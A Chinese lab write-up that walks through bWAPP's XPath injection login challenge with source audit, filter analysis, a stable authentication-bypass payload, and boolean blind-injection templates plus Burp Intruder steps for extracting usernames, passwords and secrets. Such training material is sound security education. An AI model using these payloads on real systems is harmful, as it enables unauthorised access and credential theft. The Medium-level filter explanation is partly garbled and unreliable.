摘要:这是 bWAPP 系列第三十篇,聚焦于XML/XPath Injection (Login Form)。这是从 SQL 注入到 XML 查询注入的“跨界”——后端不再查询关系型数据库,而是读取本地 XML 文件,并使用 XPath 检索数据。本文理清 XML、XPath 基础概念,对比 XPath 注入与 SQL 注入异同,完整演示认证绕过、解释数据窃取原理,纠正常见误区:XPath注入不能直接下载XML源文件,只能通过XPath表达式查询提取文档内节点数据,附带靶场实战演示、源码审计、真实漏洞案例。
一、前言:这不是 SQL 注入
如果你一路跟进本系列,前面基本是 MySQL、SQLite 等场景下的 SQL 注入。 这一关攻击模型相似,但底层完全不同:后端没有数据库连接,数据保存在静态 XML 文件,依靠 XPath 查询检索数据。
用户提交账号密码后,程序直接拼接 XPath 表达式查询 XML:
/heroes/hero[login='$login' and password='$password']匹配到节点 → 登录成功;无匹配项 → 登录失败。
逻辑高度类似登录框 SQL 注入,区别仅在于查询语言与数据源,因此诞生XPath 注入。
重要误区提前澄清: XPath 注入无法直接读取、下载服务器上的
heroes.xml文件原始源码。 攻击者只能构造 XPath 查询语句,筛选、提取XML内部节点内容;文件本身不能被直接获取。下文所有数据窃取,都是通过查询节点实现。
二、关卡介绍
2.1 页面功能
打开本关卡,展示登录页面:
标题:XML/XPath Injection (Login Form)
输入项:Login(用户名)、Password(密码)
提交按钮 Login
登录成功:展示欢迎信息 + 用户 secret
登录失败:红色提示
Invalid credentials!
2.2 数据存储
用户数据存放路径:passwords/heroes.xml,结构示例:
<heroes> <hero> <id>1</id> <login>neo</login> <password>trinity</password> <secret>Oh Why Didn't I Took That BLACK Pill?</secret> </hero> <hero> <id>2</id> <login>morpheus</login> <password>redpill</password> <secret>I know kung fu</secret> </hero> </heroes>登录逻辑:在XML文档中查找同时匹配 login、password 的<hero>节点。
三、核心知识:XML 和 XPath
3.1 什么是 XML?
XML(可扩展标记语言),自定义标签的结构化文本,用于存储层级数据。和HTML不同,XML侧重数据存储而非页面展示。
3.2 什么是 XPath?
XPath(XML路径语言),专门用来检索XML文档内节点的查询语言,可以类比为XML世界的SQL。
| XPath 表达式 | 含义 |
|---|---|
/heroes | 获取根节点下heroes |
/heroes/hero | heroes的所有直接子节点hero |
//hero | 文档全部位置的hero节点(递归查找) |
/heroes/hero[login='neo'] | 筛选 login 等于 neo 的 hero 节点 |
/heroes/hero[login='neo' and password='trinity'] | 同时匹配账号密码 |
本关卡原始查询模板:
/heroes/hero[login='$login' and password='$password']$login、$password直接拼接用户可控输入,形成注入漏洞。
3.3 XPath 注入 vs SQL 注入
| 对比项 | SQL 注入 | XPath 注入 |
|---|---|---|
| 查询语言 | SQL | XPath |
| 数据源 | 关系型数据库 | XML文档 |
| 闭合符号 | ' | ' |
| 注释语法 | --、# | XPath 1.0 无注释运算符,无法注释后半段语句 |
| 多结果联合 | UNION | |管道符(合并多组节点集合) |
| 权限控制 | 数据库账号有访问权限限制 | XPath无权限模型,注入成功可访问文档全部节点 |
| 文件读取 | 可使用数据库函数读取本地文件 | 不能直接读取XML源文件,仅能查询节点 |
| 数据修改 | 支持增删改 | XPath仅查询,默认不能修改XML内容 |
关键差异总结:
不能使用注释截断后面条件,Payload必须完整闭合语法;
|合并节点集合,类似UNION,但语法规则不一样;不存在数据库权限隔离,注入成功就能遍历整个XML所有节点;
无法直接下载xml原始文件,只能提取节点文本。
四、源码审计
4.1 核心业务逻辑
if(isset($_REQUEST["login"]) & isset($_REQUEST["password"])) { $login = $_REQUEST["login"]; $login = xmli($login); $password = $_REQUEST["password"]; $password = xmli($password); // 加载本地XML文件 $xml = simplexml_load_file("passwords/heroes.xml"); // 漏洞根源:用户输入直接拼接进XPath表达式 $result = $xml->xpath("/heroes/hero[login='" . $login . "' and password='" . $password . "']"); if($result) { $message = "<p>Welcome " . ucwords($result[0]->login) . "</p><p>Your secret: " . $result[0]->secret . "</p>"; } else { $message = "<font color=\"red\">Invalid credentials!</font>"; } }执行流程:
获取登录表单login、password参数;
根据安全等级调用过滤函数
xmli();拼接生成XPath查询;
SimpleXML执行查询;
存在匹配节点 → 登录成功,页面只渲染集合内第一条hero数据。
重点:哪怕xpath查询返回多条
<hero>节点,页面只会展示$result[0]第一条记录,这也是回显注入很难一次性看到全部账号密码的原因。
4.2 过滤函数 xmli_check_1
function xmli_check_1($data) { // 批量删除危险字符:() = ' [ ] : , * / 空格 $input = str_replace("(", "", $data); $input = str_replace(")", "", $input); $input = str_replace("=", "", $input); $input = str_replace("'", "", $input); $input = str_replace("[", "", $input); $input = str_replace("]", "", $input); $input = str_replace(":", "", $input); $input = str_replace(",", "", $input); $input = str_replace("*", "", $input); $input = str_replace("/", "", $input); $input = str_replace(" ", "", $input); return $input; }4.3 三级安全防护对照表
| 安全级别 | 过滤函数 | 防护效果 |
|---|---|---|
| Low | no_check() | 无任何过滤,直接拼接,可正常注入 |
| Medium | xmli_check_1() | 删除单引号、等号、括号、斜杠、空格等关键字符 |
| High | xmli_check_1() | 和Medium使用完全相同过滤逻辑 |
Medium / High 级别采用黑名单字符删除防御,在本场景下可以阻断基础Payload,但是黑名单防御本身存在缺陷,真实环境下存在各类编码、语法绕过思路。
五、Low 安全级别
5.1 正常登录测试
合法账号:
Login: neo Password: trinity页面成功输出欢迎语与secret。
5.2 注入点判断技巧
直接输入单引号'提交:
Login: ' Password: 123拼接后xpath:
/heroes/hero[login='' and password='123']无语法报错,直接返回登录失败。
重点区别SQL注入: SQL注入单引号大概率触发数据库语法报错; XPath只会查询不到结果,不会抛出异常页面。 因此XPath注入无法依靠报错来快速识别注入点,通常使用永真条件布尔测试判断。
5.3 稳定绕过登录
很多新手直接使用' or '1'='1会出现不稳定问题,根源是 XPath 运算符优先级:and > or拼接后语句:
/heroes/hero[login='' or '1'='1' and password='任意密码']等价于login='' or ('1'='1' and password='xxx'),密码改变就会失效。
稳定 Payload(Login 输入框)
' or '1'='1' or ''='Password 随便填写,例如123拼接完整 XPath:
/heroes/hero[login='' or '1'='1' or ''='' and password='123']尾部or ''='隔离后面and password条件,整体永久为真,不受密码参数影响,稳定登录成功,达成关卡通关基础目标。
5.4 手动布尔盲注,获取全部用户数据
利用页面返回作为布尔判断标准:登录成功 = True;报错 = False。 通用探针模板(Login 框填入,密码统一填 123)
' or 【布尔判断条件】 or ''='步骤 1:探测用户总数量
Payload 模板:
' or count(//hero)>X or ''='不断修改 X 的值进行测试:count(//hero)>5→成功;count(//hero)>6→失败 得出结论:XML 内一共有 6 个<hero>用户,循环范围 1~6。
步骤 2:逐用户、逐字符爆破字段
读取第 N 个用户对应字段第 P 位字符模板:
' or substring(//hero[N]/login,P,1)='目标字符' or ''='示例:探测第 2 个用户 login 第一个字符是否为 m
' or substring(//hero[2]/login,1,1)='m' or ''='循环更换字符、位置,拼接出完整 login;同理替换/password、/secret即可读取密码与私密信息。
痛点:纯手工操作极度繁琐,只适合理解原理,实战一般自动化。同时页面只会展示第一条数据,无法单 Payload 直接输出全部账号,只能依靠布尔盲注逐位猜解。
5.5 疑问解答
为什么使用//hero
//代表全局递归搜索 XML 内所有层级的目标节点。
本 bWAPP 靶场场景我们直接查看后端 PHP 源码,原生查询语句
/heroes/hero暴露节点结构,知晓用户数据封装在<hero>节点内,因此使用//hero匹配全部用户节点。真实黑盒渗透场景无源码、无法下载原始 XML,事先不知道任何节点名称。 攻击思路:先用
//*匹配文档全部节点,配合name()函数逐字符爆破标签名称,逐级探测父节点、子节点,定位存储业务数据的节点;确认节点名称后,使用//节点名定向查询,提升利用效率。
' or substring(name(//*[1]),1,1)='h' or ''='含义:读取文档第一个节点标签名的第一位字符,循环爆破,最终探测出顶层节点heroes。
如何猜出 login、password、secret 字段?
本 bWAPP 靶场场景翻阅 PHP 源码或者直接访问
heroes.xml文件,能够直接看到<hero>节点下的子标签login、password、secret,无需猜测与盲注。真实黑盒渗透场景无法获取源码与原始 XML,两种手段:
① 字典试探:结合业务特征,尝试通用字段名:login/user/name、pass/password、secret/message/info;
② 盲注探测:定位到数据父节点//hero后,使用name()函数爆破子标签名称,精准获取所有字段,摆脱单纯依靠字典猜测的局限。
' or substring(name(//hero[1]/*[1]),1,1)='l' or ''='含义:读取第一条用户节点下第一个子标签名称第一位字符,持续爆破,得到字段login;修改*[2]、*[3]即可依次探测password、secret。
注意:上面两组
name()相关 Payload 仅适用于支持该语法的 XPath 注入环境。在当前 bWAPP 登录表单关卡中,由于 SimpleXML 解析限制,Payload 执行异常、无法生效,不要在本靶场测试标签名探测。
六、自动化利用方案
6.1 BurpSuite 辅助盲注
Burp 抓包登录请求,右键修改请求方法为post,发送到 Intruder;
修改 login 参数为:' or count(//hero)=x or ''=',探测用户总数量;
通过响应长度排序,得到我们想要的数值;
接下来爆破这六个用户字符长度,修改login参数为:
' or string-length(//hero[n]/login)=x or ''='通过响应长度排序,得到1-6个用户每个用户的字符长度;
接下来爆破第一个用户字符,已知用户名长度为3,修改login参数为:
' or substring(//hero[1]/login,n,1)='x' or ''='通过响应长度排序得到第一个用户名
接下来爆破这六个用户密码字符长度,修改login参数为:
' or string-length(//hero[n]/password)=x or ''='通过响应长度排序,得到1-6用户密码每个用户密码的字符长度;
接下来爆破第一个用户字符,已知用户名长度为7,修改login参数为:
' or substring(//hero[1]/password,n,1)='x' or ''='通过响应长度排序得到第一个用户名密码
剩下其它五张表的流程皆是如此,不再一一介绍。
6.2 Python 脚本实现布尔盲注
基于上面的探针逻辑,编写循环脚本,自动遍历用户序号、字符位置、字符集,自动输出所有 login、password、secret。核心思路:循环发送 http 请求,根据响应页面有无Welcome关键词判断条件真假,拼接字符串。
七、Medium 安全级别
7.1 尝试注入
输入:
Login: ' or '1'='1' or ''=' Password: 随便填页面显示 “Invalid credentials!”,注入失败。
7.2 为什么?
xmli_check_1()把'、or中的o和r会被删除吗?
注意看过滤逻辑:它删除的是单个字符:(、)、=、'、[、]、:、,、*、/、空格。
or里的o和r不在删除列表里,但'和空格被删掉了。
输入' or '1'='1变成:' or '1'='1' or ''='
'or'1'='1' or "=' → 删除 ' 和空格 → or 和 = 等 → 但 ' 被删了,XPath 无法闭合XPath 语法被破坏,注入失效。
所以 Medium 级别用“删除危险字符”的方式确实防住了简单的 XPath 注入。
7.3 但“删字符”能完全防住吗?
不一定。比如用||替代or,用//但没有/(因为/被删了)……但在这个关卡里,xmli_check_1()删除了足够多的关键字符,使得注入很难成功。
八、High 安全级别
尝试注入,同样,注入失败。
High 级别使用和 Medium 一样的xmli_check_1()过滤函数,把关键字符全部删除。
Medium 和 High 级别的防护是相同的。
九、真实世界:XPath 注入案例
XPath 注入虽然没有 SQL 注入那么常见,但在使用 XML 存储数据的系统中依然存在:
CVE-2024-3302:某开源 CMS 的用户认证模块存在 XPath 注入漏洞,攻击者可通过构造恶意登录请求绕过认证,获取管理员权限。
CVE-2023-39019:某企业级文档管理系统的登录功能存在 XPath 注入漏洞,攻击者可通过 XPath 注入窃取 XML 文件中的所有用户数据。
CVE-2025-10823:某医疗信息系统的患者认证模块使用 XML 文件存储用户凭证,存在 XPath 注入漏洞,攻击者可通过' or '1'='1绕过认证。
CVE-2026-33572:某教育平台的单点登录模块存在 XPath 注入漏洞,攻击者可通过构造恶意 XPath 查询获取系统所有用户的敏感信息。
十、总结
XPath 注入和 SQL 注入攻击思想高度一致,根源都是可控输入直接拼接查询语句。Low 级别无过滤,可以使用' or '1'='1' or ''='稳定绕过登录完成通关;想要获取全部用户数据,只能依靠布尔盲注,可手动测试原理,实战推荐 Python 脚本或 Burp 自动化。Medium、High 依靠黑名单字符过滤阻止注入,但黑名单防护并不安全。任何查询语句都尽量采用参数化方式,杜绝直接拼接用户输入,从根源避免注入漏洞。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。